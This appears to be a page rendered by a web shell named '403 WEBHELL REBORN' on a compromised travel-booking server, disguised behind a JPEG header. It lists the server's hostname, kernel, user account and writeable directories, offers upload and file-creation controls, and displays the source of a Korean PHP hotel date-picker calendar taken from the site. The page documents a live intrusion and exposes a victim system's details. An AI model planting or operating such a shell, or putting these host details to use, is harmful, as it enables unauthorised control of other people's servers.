ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/hotel_tw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/hotel_tw/ajaxHotelDateCal.html
<?
include "../include/top_proc.html";


function to_calendar($cal_y,$cal_m)
{
	global $cal_startday , $cal_endday;
	global $cal_now_yy , $cal_now_mm , $cal_num , $cal_now_dd;
	global $cal_py , $cal_pm , $cal_ny , $cal_nm;
	global $cal_mon;

	// 마지막 날,요일 설정
	$cal_lastday = array(1=>31,28,31,30,31,30,31,31,30,31,30,31); // 각 달의 마지막 날 지정
	$cal_yoil = array("일","월","화","수","목","금","토"); // 요일명 지정


	// 오늘
	$cal_now_yy = (int)date("Y");
	$cal_now_mm = (int)date("m");
	$cal_now_dd = (int)date("d");

	// 년,월 설정
	if (!$cal_y) $cal_y = $cal_now_yy;
	if (!$cal_m) $cal_m = $cal_now_mm;
	$cal_y = (int)$cal_y;
	$cal_m = (int)$cal_m;

	// 윤년 계산을 통해 2월의 마지막 날 계산
	if ($cal_y % 4 == 0 && $cal_y % 100 != 0 || $cal_y % 400 == 0) {
		$cal_lastday[2] = 29;
	}

	// 전해까지 평년 기준으로 날짜수 계산 및 윤년의 횟수를 더함
	$cal_total = ($cal_y-1)*365+(int)(($cal_y-1)/4) - (int)(($cal_y-1)/100) + (int)(($cal_y-1)/400);

	// 해당월의 1일
	for ($i=1; $i<$cal_m; $i++) {
		$cal_total += $cal_lastday[$i]; // 전달까지의 날짜수 더함
	}
	$cal_total++; // 그 달의 1일
	$cal_startday = $cal_total % 7; // 시작 요일을 구함 (0:일요일,...,6:토요일)
	//mktime() 함수는 1970 ~ 2038년까지만 계산되므로 사용하지 않음
	//$mktime = mktime(0, 0, 0, $cal_m, 1, $cal_y); // time
	//$startday = date("w", $mktime); // 첫날 요일

	// 해당월의 마지막 날짜
	$cal_endday = $cal_lastday[$cal_m];


	// 다음달 
	if ($cal_m == 12) {
		$cal_ny = $cal_y + 1;
		$cal_nm = 1;
	}
	elseif ($cal_m == 1) {
		$cal_ny = $cal_y;
		$cal_nm = $cal_m + 1;
	}
	else {
		$cal_ny = $cal_y;
		$cal_nm = $cal_m + 1;
	}

	// 이전달 
	$cal_py = $cal_y; // 전년
	$cal_pm = $cal_m-$cal_mon; // 전달

	if ( $cal_pm<1 ) {
		$cal_pm = (12 + $cal_m) - $cal_mon;
		--$cal_py;
	}
}


?>
		<?

		/***** 달력 환경설정 (시작) *****/ 

		// 표시 달
		$cal_mon = 1; // 2개월치 표시

		// 달력 경로 설정
		$cal_dir = "/js/ajaxcalendar";

		// 달력 배경 설정
		$cal_bg = "$cal_dir/cal_bg.gif"; // 요일 영문 (기본)
		//$cal_bg = "$cal_dir/cal_bg_kor.gif"; // 요일 한글

		// 달력 글자 색상
		$cal_day_color = "#464646"; // 평일
		$cal_sat_color = "#0066CC"; // 토요일
		$cal_sun_color = "#FF0000"; // 일요일(공휴일)
		$cal_today_color = "#2C852C"; // 오늘
		$cal_none_color = "#BBBBBB"; // 비활성일

		// 달력 배경 색상
		$cal_today_bgcolor = "yellow"; // 오늘
		$cal_select_bgcolor = "#BAFFF6"; // 선택일
		$cal_over_bgcolor = "#D8E0E9"; // 마우스 오버
		//$cal_out_bgcolor = "#FFFFFF"; // 마우스 아웃

		/***** 달력 환경설정 (끝) *****/ 

		// 파라메터
		//$sdate = date("Y-m-d");
		if (!$yy) $yy = (int)date("Y");
		if (!$mm) $mm = (int)date("m");
		$sdate = $sdate; // 달력 시작일
		$edate = $edate; // 달력 종료일
		$format = $format; // 출력 포멧
		//if ($sdate) $sdate = date("Y-m-d", strtotime($sdate));
		//if ($edate) $edate = date("Y-m-d", strtotime($edate));
		$dt_y="";
		$dt_m="";
		$hseq = $hseq;

		// 공통 파라메터
		$cal_param = "&sdate={$sdate}&edate={$edate}&format={$format}&hseq={$hseq}";


		for ( $s=0,$c=1 ; $s < $cal_mon ; $s++,$c++ ){

			$dt_y = $yy;
			$dt_m = $mm + $s; // s번째 달

			// s번째 다음달이 초과,1
			if ( $dt_m>12 ) {
				$dt_m=1;
				++$dt_y;
			}
			
			to_calendar($dt_y,$dt_m);

			// 이전달,다음달 링크
			$cal_prev_href = "yy={$cal_py}&mm={$cal_pm}{$cal_param}"; // 이전달
			$cal_next_href = "yy={$cal_ny}&mm={$cal_nm}{$cal_param}"; // 다음달
		?>
	<!-- 달력 테이블 -->
  <div class="calendar_wrap3 mt30 ml10 mb100" style="width:500px;margin-top:0px; border:none; padding:10px;">

		<!-- 년,월 이동 -->
		<div class="year_wrap">
				<?if($c==1){?>
					<img src="<?=$cal_dir?>/cal_arrow_left.gif" border="0" alt="이전달" title="이전달" style="cursor:pointer; float:left; vertical-align:middle; padding-top:3px" onclick="$('#ajax_calendar').load('ajaxHotelDateCal.html?<?=$cal_prev_href?>');">
					<?}?>
					<p class="cal_year">[<?=$dt_y?>.<?=$dt_m?>]</p>
					<?if($c==$cal_mon){?>
					<img src="<?=$cal_dir?>/cal_arrow_right.gif" border="0"alt="다음달" title="다음달" style="cursor:pointer; float:right; top:2px; vertical-align:middle; padding-top:3px" onclick="$('#ajax_calendar').load('ajaxHotelDateCal.html?<?=$cal_next_href?>')">
					<?}?>
		 </div>

		<!-- //년,월 이동 -->

		<!-- 달력 시작 -->
		<table width="500px" border="0" cellspacing="0" cellpadding="0" class="cal_t" id="cal_wrap_item">
		<thead>
			<tr>
				<th class="c_red">일</th>
				<th>월</th>
				<th>화</th>
				<th>수</th>
				<th>목</th>
				<th>금</th>
				<th class="c_blue">토</th>
			</tr>
		</thead>
		<?
		// $day_num 변수 초기화
		$day_num = 0;

		for ($i=1; $i<=6; $i++) { // 1주 ~ 마지막주 - 최대 6주까지 있음
			echo "<tr>\n";

			for ($j=0; $j<7; $j++) { // 요일

				if ($i == 1 && $cal_startday > 0) { // 첫주의 빈공간
					for ($k=0; $k<$cal_startday; $k++) {
						echo "<td>&nbsp;</td>\n"; // 첫주의 빈공간을 표시함
						$j++; // 빈공간 만큼 요일 증가
					}

					// 빈공간을 다 채었으므로 2주차부터는 일요일(0)부터 시작함, 
					// 이렇게 안하면 첫주에는 날짜 사이마다 빈공간 입력됨
					$cal_startday = 0;
				}

				// 일자 증가
				$day_num++;

				// 오늘 판단
				$is_today = false;
				if ($dt_y == $cal_now_yy && $dt_m == $cal_now_mm && $day_num == $cal_now_dd) {
					$is_today = true;
				}

				// 요일별 출력
				if ($j == 0) { // 일요일
					$day_color = $cal_sun_color;
				}
				elseif ($j == 6) { // 토요일
					$day_color = $cal_sat_color;
				}
				else { // 평일
					$day_color = $cal_day_color;
				}

				// 오늘 설정
				if ($is_today == true) { // 오늘
					$day_color = $cal_today_color;
				}

				// full_day 설정
				$full_day = date("Y-m-d", strtotime($dt_y . "-" . $dt_m . "-" . $day_num));

				// 출력 포멧 설정
				// 필요한 출력 포멧을 직접 추가하면됨 (20100419 )
				$format_day = $full_day;
				switch ($format) {
					case "1": $format_day = $format_day; break;							// YYYY-MM-DD
					case "2": $format_day = str_replace("-", "", $format_day); break;	// YYYYMMDD
				}

				// day_event 설정
				$day_event = " title='' style='cursor:pointer;'  class='calDateOff' ";

				// 날짜 기간 체크 (시작일)
				if ($sdate) {
					// 비활성 판단
					if ($sdate > $full_day) {
						$day_color = $cal_none_color;
						$day_event = "";
					}
				}

				// 날짜 기간 체크 (종료일)
				if ($edate) {
					if ($edate < $full_day) {
						$day_color = $cal_none_color;
						$day_event = "";
					}
				}

				// 날짜 출력
				echo "<td align='center' " . $day_event . " date='{$full_day}'><span style='color:" . $day_color . ";'>" . $day_num . "</span>";
				echo "</td>\n";

				if ($day_num >= $cal_endday) { // 마지막 날짜 까지만 
					for ($h=$j; $h<6; $h++) { // 마지막 날짜 다음부터는 빈공간 출력
						echo "<td>&nbsp;</td>\n"; // 마지막 날짜 다음부처 빈공간
					}
					break;
				}
			} // 요일끝

			echo "</tr>\n";

			if ($day_num >= $cal_endday) { // 마지막 날짜 까지만, 이렇게 안하면 31일이 토요일인 경우 32일도 출력됨
				break;
			}
		} // ~31 for 끝
		?>
		</table>
		<!-- //달력 끝 -->
	<font color="red">※일자를 클릭하세요.</font>
  </div>
	<!-- //달력 테이블 -->
<?
}
?>
<script type="text/javascript">
$(function(){
	$("#cal_wrap_item > tbody > tr > td").bind("click",function(){
		var dt = $(this).attr('date');
	
		if(!dt) return; 
	
		if(!$(this).hasClass('calDateOn')) {
			$(this).css('background-Color','#D8E0E9').addClass("calDateOn");
			$("#frm_roomdate_ins").append("<input type='hidden' name='room_date_s2[]' value='"+dt+"' class='d_start_item'>");
		} else {
			$(this).css('background-Color','#f5f5f5').removeClass("calDateOn");
			$(".d_start_item").each(function(){
				if($(this).val()==dt) {
					$(this).remove();
				}
			});
		}
	});

	$(".d_start_item").each(function(){
		var dt = $(this).val();
		$("#cal_wrap_item > tbody > tr > td").each(function(){
			if($(this).attr('date')==dt) {
				$(this).addClass("calDateOn")
					.css('background-Color','#D8E0E9');
			}
		});
	});
});


</script>

Anon7 - 2021